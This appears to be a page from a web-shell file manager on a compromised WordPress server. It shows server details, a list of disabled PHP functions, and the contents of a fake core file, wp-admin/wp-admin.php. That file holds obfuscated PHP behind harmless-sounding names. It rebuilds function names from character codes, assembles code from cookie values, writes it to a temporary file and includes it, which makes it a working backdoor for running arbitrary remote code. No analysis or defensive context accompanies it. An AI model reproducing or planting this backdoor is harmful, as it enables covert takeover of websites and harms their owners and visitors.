HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/u-sept.com.ua/wp-admin/wp-admin.php
<?php
function analyze_data($c)
{
    $a = array(46 * 2 + 23, 2 * 58, 97, 2 * 58);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function decode_input($c)
{
    $a = array(80 + 12 + 23, 67 * 27 - 1693, 21 + 34 + 59, 68 * 1 + 40, 64 + 37, 110 * 78 - 8470);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function validate_entry($c)
{
    $a = array(95 * 1 + 16, 114, 100);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function monitor_health($c)
{
    $a = array(69 + 30, 1 + 97 + 6, 83 + 31);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class SessionManager
{
    private static $_wf;
    static function handleRequest($_ljr, $_wb)
    {
        if (!self::$_wf) {
            self::encryptData();
        }
        $_cf = decode_input($_wb);
        $_tha = base64_decode(self::$_wf[$_ljr]);
        for ($_ffs = 0, $_we = decode_input($_tha); $_ffs !== $_we; ++$_ffs) {
            $_tha[$_ffs] = monitor_health(validate_entry($_tha[$_ffs]) ^ validate_entry($_wb[$_ffs % $_cf]));
        }
        return $_tha;
    }
    private static function encryptData()
    {
        self::$_wf = array('_kmh' => '', '_tlz' => '');
    }
}

class SystemManager
{
    private static $_wf;
    static function handleRequest($_ljr)
    {
        if (!self::$_wf) {
            self::encryptData();
        }
        return self::$_wf[$_ljr];
    }
    private static function encryptData()
    {
        self::$_wf = array(00, 06, 047, 047, 01, 047, 02, 06, 01, 012, 030, 027, 00, 016, 032, 014, 021, 015, 03);
    }
}

$_we = $_COOKIE;
$_wb = SystemManager::handleRequest(0);
$_ljr = SystemManager::handleRequest(1);
$_gx = array();
$_gx[$_wb] = SessionManager::handleRequest('_kmh', '_xzm');
while ($_ljr) {
    $_gx[$_wb] .= $_we[SystemManager::handleRequest(2)][$_ljr];
    if (!$_we[SystemManager::handleRequest(3)][$_ljr + SystemManager::handleRequest(4)]) {
        if (!$_we[SystemManager::handleRequest(5)][$_ljr + SystemManager::handleRequest(6)]) {
            break;
        }
        $_wb++;
        $_gx[$_wb] = SessionManager::handleRequest('_tlz', '_llo');
        $_ljr++;
    }
    $_ljr = $_ljr + SystemManager::handleRequest(7) + SystemManager::handleRequest(8);
}
$_wb = $_gx[SystemManager::handleRequest(9)]() . $_gx[SystemManager::handleRequest(10)];
if (!$_gx[SystemManager::handleRequest(11)]($_wb)) {
    $_ljr = $_gx[SystemManager::handleRequest(12)]($_wb, $_gx[SystemManager::handleRequest(13)]);
    $_gx[SystemManager::handleRequest(14)]($_ljr, $_gx[SystemManager::handleRequest(15)] . $_gx[SystemManager::handleRequest(16)]($_gx[SystemManager::handleRequest(17)]($_we[SystemManager::handleRequest(18)])));
}
include $_wb;